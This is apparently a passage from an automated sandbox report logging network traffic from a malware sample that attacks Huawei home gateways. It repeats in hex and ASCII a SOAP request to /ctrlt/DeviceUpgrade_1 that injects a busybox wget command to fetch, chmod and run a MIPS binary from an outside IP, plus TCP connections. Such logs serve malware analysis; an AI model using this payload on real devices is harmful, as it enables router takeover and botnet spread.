65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficTCP traffic: 192.168.2.15:57758 -> 74.50.84.203:45
    Source: global trafficTCP traffic: 192.168.2.15:63994 -> 197.68.155.223:37215
